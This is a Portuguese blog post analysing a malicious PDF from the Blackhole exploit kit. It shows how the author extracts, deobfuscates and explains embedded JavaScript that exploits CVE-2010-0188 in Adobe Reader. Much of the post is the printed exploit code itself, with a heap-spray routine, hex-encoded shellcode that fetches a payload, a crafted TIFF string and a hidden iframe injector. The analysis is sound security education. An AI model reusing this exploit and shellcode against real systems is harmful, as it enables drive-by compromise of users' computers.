Esse post seria uma continuação do post anterior Buscando um hobby encontrei o “Blackhole xpl Kit” , na verdade é a análise de um pdf que eu baixei do BlackHole EK.

No outro post havia chegado até o Plugin-Detect que é usado para saber qual é sua versão do navegador e até os plugins que vc tem no navegador (Ex: java, adobe acrobat)

A função era:


function libt() {
 var pifr = document.createElement("if" + "ra" + "me");
 pifr.setAttribute('width', 11);
 pifr.setAttribute('height', 12);
 pifr.setAttribute('style', "top:100px;position:absolute");
 pifr.setAttribute('src', "/a24fd24d17281a4b9f7e45df07098970/a.php?jLeLfUhcdl=3139383631&qOnEBFdbMxs=W&AmeRS=33646531383236363864&AfioNwTx=302e302e302e30");
 document.body.appendChild(pifr);
}

Consegui fazer o download de um arquivo chamado: 55c66.pdf -> [Virus Total Analysis]

Segundo a Análise do VirusTotal a média de detecção é de: Detection ratio 13 / 45 (Um pouco baixa)

Podemos ver que o antivirus da Microsoft detecta a ameaça como Exploit:Win32/CVE-2010-0188

Aqui no site da CVE vemos que é um exploit para Adobe Acrobat Reader entre as versões 8.x até 8.2.1 e da 9.x até 9.3.1

Vamos investigar um pouco mais sobre esse pdf:

$pdf-parser.py --stats 55c66.pdf
Comment: 4
XREF: 1
Trailer: 0
StartXref: 0
Indirect object: 23
9: 6, 18, 19, 20, 21, 22, 28, 31, 48
/Annot 1: 15
/Catalog 1: 1
/EmbeddedFile 6: 41, 42, 111, 44, 45, 46
/Font 3: 14, 27, 29
/FontDescriptor 1: 30
/Page 1: 8
/Pages 1: 2

Podemos ver que realmente aqui não aparece o objeto /Javascript onde normalmente nos PDF maliciosos estão sempre presentes. Mas podemos reparar que há /EmbeddedFile com isso damos uma olhada um poucos mais a fundo nos objetos para descobrir se existe alguma coisa maliciosa nesse arquivo.

Analisando os objetos uma realmente me chama a atenção:

$ pdf-parser.py --filter --raw 55c66.pdf --object 111
obj 111 0
Type: /EmbeddedFile
Referencing:
Contains stream

<<
/Length 1313
/Filter /FlateDecode
/Type /EmbeddedFile
>>

Observamos que /Length tem 1313 bytes, ou seja, que é um pouco grande para um arquivo dentro do PDF.

E o conteúdo do objeto é esse (Passei no jsbeautifier, para poder indentar o código):


<script type="text/javascript">// <![CDATA[
yy=0;
if(this.clone('field') != null){
 yy=1;
}

if(yy){
 x='eI';
 zz="ly";
 z=event["target"];
}
xs="\x65";
dd="Code";
ddd="mCha\x72";

if(this.addItem('template')===null)s=caca="ntv";

if(yy)xx=s[2].concat("\x61"+"\x6c");

if(yy){
 XA&#61;
 function(a,b){
 return ZA(a,b);
 };
}

a=[XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('7'),0X0),XA(('6'),0X1),XA(('6'),0X4),XA(('6'),0X4),XA(('6'),0X9),XA("6E"),XA(('6'),0X7),XA("3B"),XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('6'),0X2),XA(('6'),0X2),XA(('6'),0X2),XA("2C"),XA(('2'),0X0),XA(('6'),0X3),XA(('6'),0X3),XA(('6'),0X3),XA("2C"),XA(('2'),0X0),XA(('6'),0X4),XA(('6'),0X4),XA(('6'),0X4),XA("2C"),XA(('2'),0X0),XA(('6'),0X5),XA(('6'),0X5),XA(('6'),0X5),XA("2C"),XA(('2'),0X0),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA("2C"),XA(('2'),0X0),XA(('6'),0X7),XA(('6'),0X7),XA(('6'),0X7),XA("2C"),XA(('2'),0X0),XA(('6'),0X8),XA(('6'),0X8),XA(('6'),0X8),XA("3B"),XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('7'),0X0),XA("6F"),XA(('6'),0X9),XA("6E"),XA(('7'),0X4),XA(('6'),0X5),XA(('7'),0X2),XA(('7'),0X3),XA("5F"),XA(('6'),0X1),XA("2C"),XA(('2'),0X0),XA(('3'),0X6),XA("3B"),XA(('3'),0X3),XA(('6'),0X5),XA(('6'),0X6),XA(('6'),0X6),XA("3B"),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X3),XA(('6'),0X3),XA("3B"),XA(('3'),0X3),XA(('3'),0X8),XA(('3'),0X0),XA(('3'),0X1),XA(('6'),0X5),XA(('3'),0X5),XA("3B"),XA(('6'),0X2),XA(('3'),0X8),XA(('6'),0X3),XA(('6'),0X5),XA(('6'),0X2),XA(('3'),0X8),XA(('3'),0X5),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X5),XA(('3'),0X9),XA(('3'),0X1),XA("3B"),XA(('3'),0X0),XA(('6'),0X3),XA("3B"),XA(('3'),0X3),XA(('3'),0X8),XA(('3'),0X0),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('6'),0X6),XA(('6'),0X6),XA(('3'),0X8),XA(('3'),0X6),XA("3B"),XA(('3'),0X0),XA(('3'),0X4),XA("3B"),XA(('6'),0X1),XA(('3'),0X6),XA("3B"),XA(('3'),0X0),XA(('3'),0X5),XA("3B"),XA(('3'),0X8),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X8),XA(('6'),0X5),XA("3B"),XA(('3'),0X9),XA(('6'),0X6),XA("3B"),XA(('3'),0X2),XA(('6'),0X5),XA(('6'),0X6),XA(('6'),0X6),XA("3B"),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA(('3'),0X8),XA(('3'),0X9),XA("3B"),XA(('3'),0X8),XA(('6'),0X5), <SNIPPET>....XA("3B")];

if(zz=="ly")z[xs+xx](String["\x66ro".concat(ddd,dd)]["apply"](String,a));

function ZA(a,b){
 a+=b;
 sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);
 if(yy)return sq(a,yy*16);
}
// ]]></script>

Cortei o código ofuscado por que realmente era muito grande. Você pode conseguir o código completo aqui -> PASTEBIN.

Os autores de malware tentam sempre ao máximo dificultar a análise dos arquivos, sempre tentam fazer com que pareça a coisa mais difícil do mundo e também tentem escapar das detecções de Antivirus.

Vamos começar analisando o código:

Screen Shot 2013-08-26 at 8.17.15 PM

Como podemos ver até agora o código tinha muita coisa pra tentar dificultar e quase nada objetivo.

A próxima sessão é o que realmente é a parte importante, ou seja, a parte que liga com a descodificação do código:

Screen Shot 2013-08-26 at 9.05.44 PM

Vamos analisar um pouco mais a funçã0 XA:


if(yy){
 XA= function(a,b)
{
 return ZA(a,b);
 };
}

function ZA(a,b)
{
 a+=b;
 sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);
 if(yy)return sq(a,yy*16);
}

Isso realmente não passa de alguns truques para confundir a cabeça de quem está analisando:

sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);

Aqui podemos ver que isso “sq” =(“\x70a”+”rs”+x+s[0]+s[1]) ou seja, o comando “parseInt” .

E a outra linha:

if(yy)return sq(a,yy*16);

Essa linha nada mais é que um retorno da função “parseInt”, yy=1*16 ou seja simplesmente com 16 já funciona. Vamos ver o que faz a função “parseInt” em javascript segundo o site da W3Schools [ LINK PARA parseInt ]

The parseInt() function parses a string and returns an integer.

The radix parameter is used to specify which numeral system to be used, for example, a radix of 16 (hexadecimal) indicates that the number in the string should be parsed from a hexadecimal number to a decimal number.

If the radix parameter is omitted, JavaScript assumes the following:

If the string begins with “0x”, the radix is 16 (hexadecimal)

Agora já sabemos o que faz, “parsear” uma string e retornar um valor inteiro e com o argumento 16 retornar o valor de um hexadecimal em inteiro.

Agora re-escrevendo o código para que decodifique o código ofuscado seria algo como:


XA = function(a,b){
 a+=b;
 return parseInt(a,16);
}

a=[XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2)];

Utilizando uma consola de java online como a repl.it podemos verificar que o resultado é o que realmente queremos:

Screen Shot 2013-08-26 at 10.16.36 PM

Conclusão:

O código ofuscado era um exploit para o Adobe Acrobat mais que não irei falar dele, porque senão fica um post sem fim. Com um pouco de paciência podemos chegar onde queremos. Autores de malware sempre tentam confundir nossa cabeça e as muitas vezes conseguem, mas entender como fizerem e como funciona pouco a pouco nos ajuda a ficarmos cada vez mais experiente no assunto.

Update: Como tive um tempo para analisar o conteúdo do do código ofuscado, vou falar um pouco de como consegui saber de onde estava o endereço de internet que apontava para o download do payload do malware.

O código desofuscado do código anterior é:


var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + "00;0037;445797;85;a615;45;9795;268737;f4;d3;25;6777;24;84;856717d6;1562b6;26;45;4427b425;d395;553445d6;45;44d4f4;7515;16;5534;e4;6243;33d3b64587f6;57;b4;b4;67;624363;83;33;6333;63;33;233383;3313335363;4363;3333;d3d6c4;66;17;8426;a4;62336383;33933363;63;13;63d386d4d4a6e674;b6;86;f4f30786;07;e2;16;f2;f2;03;73;93;839303;73;03;66;46;53;4356;73669326;43;16;1383;23;73;13;46;4323;46;66432316;f2;0373;938393;03730366;4653;43;56;736693;2643;161383;23;73;13;46;43;23;46;66;432316f2;d6f6;36;e2;37e6f696;47;1636;96e6;57;d6d6f6;3687;f6265676;e616;86;36;f2f2a3;074747;86;07;f2a1;63;9764;6c;b1b5;a8ac33db;10f698;e0;a8ef89ce;e0;e4e8ffffef;c9;8e;80;65;ffefa600a6;4c;57;00f3;08;74;af;57;00;f308;7431;be;20be;c03c3840;65;ff35;c0;be38;00a6;40;65;ff;3500;a6;61570c58;4165;ff;00;a67535;00;a600;a6;151440d14488;03;401c;a895;00;90d144;6c;c6;c6;46;e2;50;d144;7c47;26;077700d1;44;7c15;9c;338eb8c0;65;ff;0000;008f;86;350237;d202804244;7c2333;27;67;404244;7c37;76;56;27;42;407c;c042;c5;d80000;10;40;ce;18;27be;20beffff;ff;168e8e;b880;4c38;61ff;45d6;c6;27;578600;00e6f686;3eff;503c;3801e5;b8ceb8550591;0c;380500;00;00;ff86;04;a6;05;8500;00;00008e;9f;2eff;ffff89;8e9550a6;7f;b8;8086;b83f;be;69;30;4733c0d7080286b8;da35;be3c;95;e5ba5c;30b8;40;b8;dd;30;8db8;c042;45;ffce;64d8;b4;c0b8;66dd;3042e5;b8e56e57;f1;b31f;be04ad;30;d0;bc1c;80472f8301ebf0bd335c;30;da;cf14949c33;5f;30;0267b8;65;5f;30;87;53;47b8;c357b865;15c4be9e15;574e;58;42;43;78bf;57;60;93;643c0304;b88bffff0151ee18c2;334730;c3;e5;b866;bd33;8067;b865c1;07b8c0;04b8;0304b846;0c33f59e;43;57;4e58cf;cf;4e;3866".split('').reverse().join('').replace(/;/g, '');
var _l2 = "4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141" + "00;003744;57;9785;a6;15;45979526;87;37;f4d325;677724;8485;67;17d6;15;62;b6;26454427;b425d395;55;3445;d6;45;44;d4f475151655;34e46243;33d3;b6;4587;f6;57b4;b4;6762;43;63;83;336333;633323;33;83331333;5363;43;6333;33d3;d6c4;6617;8426a46233;63;83;33;933363;6313;63d3;86d4;d4a6;e674;b686f4;f307;86;07;e2;16f2;f20373;938393;03;73;0366;46;53;4356;73;66;932643;161383;23;73;13;46;43;2346;66;4323;16f203;73;93839303;73036646;534356;7366932643;16138323;7313464323;466643;23;16f2;d6;f636;e2;37;e6f6;96471636;96e6;57d6d6;f63687f6;265676e6;168636f2f2a307;47;47;86;07f2;a163;97646c;b1;b5;a8ac;33db;10;f698;e0;a8ef89;ce;e0e4e8;ffff;ef;c98e;8065;ff;efa600;a6;4c57;00f3;08;74af57;00;f3;08;7431;be;20;bec03c;384065;ff;35c0be;38;00;a6;40;65ff;35;00a6;6157;0c;58;4165;ff00a675;35;00a600;a6;151440;d144;88;03401c;a89500;90;d1;44;6cc6;c6;46;e250d1;44;7c4726;0777;00;d1;447c15;9c338e;b8;c0;65ff00;00;008f;86;35;02;37;d2;0280;42;44;7c2333;27;674042;447c3776562742;40;7cc0;42;c5d8;00;001040ce1827be;20be;ffff;ff168e8eb8804c3861ff;45;d6c6275786;0000e6;f6;86;3eff50;3c;38;01;e5;b8;ce;b85505910c;380500;00;00ff;86;04;a605;850000;00008e;9f2e;ff;ff;ff898e95;50;a6;7fb88086;b83f;be69304733c0;d7;080286b8da35be;3c95;e5;ba;5c;30;b8;40;b8dd308d;b8c0;42;45;ff;ce64d8b4;c0b8;66;dd30;42e5b8e5;6e57;f1;b31fbe04ad30d0;bc1c;8047;2f83;01;ebf0bd;33;5c30dacf;14;94;9c;335f;30;0267;b8;65;5f;3087;5347;b8;c3;57b8;65;15c4be9e;1557;4e;58;42;43;78bf;57;60;93;643c03;04;b8;8bff;ff01;51;ee;18c2;334730;c3e5b8;66bd338067;b8;65;c107b8;c0;04b8;03;04b8460c;33;f5;9e;43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
_l3 = app;
_l4 = new Array();

function _l5() {
 var _l6 = _l3.viewerVersion.toString();
 _l6 = _l6.replace('.', '');
 while (_l6.length < 4) _l6 += '0';
 return parseInt(_l6, 10)
}

function _l7(_l8, _l9) {
 while (_l8.length * 2 < _l9) _l8 += _l8;
 return _l8.substring(0, _l9 / 2)
}

function _I0(_I1) {
 _I1 = unescape(_I1);
 roteDak = _I1.length * 2;
 dakRote = unescape('%u9090');
 spray = _l7(dakRote, 0x2000 - roteDak);
 loxWhee = _I1 + spray;
 loxWhee = _l7(loxWhee, 524098);
 for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}

function _I2(_I1, len) {
 while (_I1.length < len) _I1 += _I1;
 return _I1.substring(0, len)
}

function _I3(_I1) {
 ret = '';
 for (i = 0; i < _I1.length; i += 2) {
 b = _I1.substr(i, 2);
 c = parseInt(b, 16);
 ret += String.fromCharCode(c);
 }
 return ret
}

function _ji1(_I1, _I4) {
 _I5 = '';
 for (_I6 = 0; _I6 < _I1.length; _I6++) {
 _l9 = _I4.length;
 _I7 = _I1.charCodeAt(_I6);
 _I8 = _I4.charCodeAt(_I6 % _l9);
 _I5 += String.fromCharCode(_I7 ^ _I8);
 }
 return _I5
}

function _I9(_I6) {
 _j0 = _I6.toString(16);
 _j1 = _j0.length;
 _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
 return _I5
}

function _j2(_I1) {
 _I5 = '';
 for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
 _I5 += '%u';
 _I5 += _I9(_I1.charCodeAt(_I6 + 1));
 _I5 += _I9(_I1.charCodeAt(_I6))
 }
 return _I5
}

function _j3() {
 _j4 = _l5();
 if (_j4 < 9000) {
 _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
 _j6 = _l1;
 _j7 = _I3(_j6)
 } else {
 _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
 _j6 = _l2;
 _j7 = _I3(_j6)
 }
 _j8 = 'SUkqADggAABB';
 _j9 = _I2('QUFB', 10984);
 _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
 _ll1 = _j8 + _j9 + _ll0 + _j5;
 _ll2 = _ji1(_j7, '');
 if (_ll2.length % 2) _ll2 += unescape('%00');
 _ll3 = _j2(_ll2);
 with({
 k: _ll3
 }) _I0(k);
 ImageField1.rawValue = _ll1
}
_j3();

Segundo o VirusTotal a “engine” da Microsfot detectou como “Exploit:JS/Mult.DJ

No site da Microsoft pode encontrar mas informação sobre esse exploit:

Payload

Exploit:JS/Mult.DJ is designed to exploit the following vulnerabilities through the browser:

CVE-2006-0003
CVE-2007-5659
CVE-2008-2992
CVE-2009-0927
CVE-2009-1671
CVE-2009-4324
CVE-2010-0840
CVE-2010-0842
CVE-2010-0886
CVE-2010-1423
CVE-2010-1885

Vamos analisar o shellcode que esta na variável “_l1” e sacar o shellcode (Uhuuu Shellcode)

shellcode_screenshot

Agora vamos analisar o shellcode e ver qual informação podemos conseguir:

shellcode_url

Wow.. agora temos la URL de onde o payload é baixado =)

Happy Hunting =)